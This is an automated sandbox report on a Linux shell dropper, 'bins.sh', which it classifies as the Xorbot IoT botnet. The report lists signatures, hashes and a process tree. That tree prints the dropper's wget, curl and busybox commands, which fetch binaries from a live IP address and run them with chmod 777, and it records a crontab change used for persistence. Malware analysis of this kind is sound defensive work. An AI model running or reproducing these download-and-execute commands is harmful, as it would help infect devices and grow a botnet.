Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20250619-en
  • resource tags

    arch:armhfimage:debian9-armhf-20250619-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/09/2025, 15:55

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250908-tcvtjsfq21
  • SHA256 1b4ce05f381395004e2900f62fc20d1ed84b4dfa3dc7d5ef0aa71cf17103b281
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
antivmbotnetdefense_evasiondiscoveryexecutionxorbotpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1086) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:646
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:653
      • /usr/bin/wget
        wget http://178.16.54.252/bins/lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
        2⤵
        • Writes file to tmp directory
        PID:657
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:677
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
        2⤵
        • Writes file to tmp directory
        PID:681
      • /bin/chmod
        chmod 777 lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
        2⤵
        • File and Directory Permissions Modification
        PID:693
      • /tmp/lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
        ./lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:695
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:698
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:699
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:702
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:703
            • /bin/rm
              rm lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
              2⤵
                PID:732
              • /usr/bin/wget
                wget http://178.16.54.252/bins/icZTsmAE9fgz1SsrDOKsXjzSZKD76n2DO6
                2⤵
                • Writes file to tmp directory
                PID:735

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  icZTsmAE9fgz1SsrDOKsXjzSZKD76n2DO6
                  • Path /tmp/icZTsmAE9fgz1SsrDOKsXjzSZKD76n2DO6
                  • Size 12KB
                  • SHA256 dde7095244f8e090d7947b5b04cb6b5d6365dbe8bf6673b4148211c8606c9be7
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
                  • Path /tmp/lLrVM4nMtfb7FHGMCagEt1NVO7Crpr0r7F
                  • Size 141KB
                  • SHA256 87f11a3ee2486bc4845a28465c2e70d2d9f98725edf4a73c3359c23a43ed74b7
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  tmp.mbUD0R
                  • Path /var/spool/cron/crontabs/tmp.mbUD0R
                  • Size 210B
                  • SHA256 90c398009de05ec42d1a517bdc5cf5a412e88d0832b6005e44aeee6d6bd1f66b
                  • MD5 SHA1 SHA512
                  Submit Download